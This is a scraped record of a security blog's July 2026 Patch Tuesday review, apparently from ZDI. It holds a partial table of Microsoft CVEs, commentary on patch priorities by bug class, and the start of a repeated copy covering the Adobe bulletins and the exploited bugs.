Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-15T01:04:15.382596Z"}, {"uuid": "37a4779c-b8ca-4ffd-8e6d-8a8a4b33cd4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54112", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote 